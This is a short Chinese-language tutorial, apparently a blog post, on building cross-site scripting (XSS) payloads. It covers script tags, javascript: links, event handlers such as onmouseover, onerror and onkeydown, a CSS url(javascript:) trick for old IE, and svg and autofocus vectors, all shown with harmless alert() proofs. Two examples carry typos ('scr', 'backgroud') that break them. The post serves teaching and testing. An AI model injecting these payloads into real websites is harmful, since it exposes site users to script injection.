xss构造--如何使用xss语句

XSS的构造

1.利用[<>]构造html/js

如[<script>alert(/xss/)</script>]

2.伪协议

使用javascript:伪协议来构造xss

如[javascript:alert(/xss/);]

可在超链接中填写

<a href="javascript:alert(/xss/)">click me.</a>

也可在<img>标签中.

3.产生自己的事件

在javascript中有许多的"事件驱动"，在网页中会发生许多的事件(比如鼠标移动，键盘输入等)，JS可以通过对这些事件进行响应，从而我们可以通过事件的触发JS函数，触发XSS.

事件种类

windows事件   对windows对象触发的事件

Form事件        HTML表单内的动作触发事件

keyboard事件 键盘按键触发事件

Mouse事件   由鼠标或类似用户动作触发的事件

Media事件   由多媒体触发的事件

如<img scr='./image.jpg' onmouseover='alert(/xss/)'>

引入一个图片，当鼠标悬停在图片上时，会触发xss代码

如<input type='text' onkeydown='alert(/xss/)'>

单行文本框的键盘点击事件，当点击一个键盘任意一个按键时触发xss代码

其他常用事件

onkeyup-->当键盘松开时触发xss代码

onclick-->点击时触发xss代码

onerror-->文件载入失败时触发xss代码

4.利用css跨站

利用css跨站，几乎不用，在ie6浏览器处可以触发

如

<div style="backgroud-image:url(javascript:alert(/xss/))">-->实际上也是使用的伪协议构造

5.其他标签以及用法

<svg onload="alert(/xss/)">

<input onfocus=alert(/xss/) autofocus>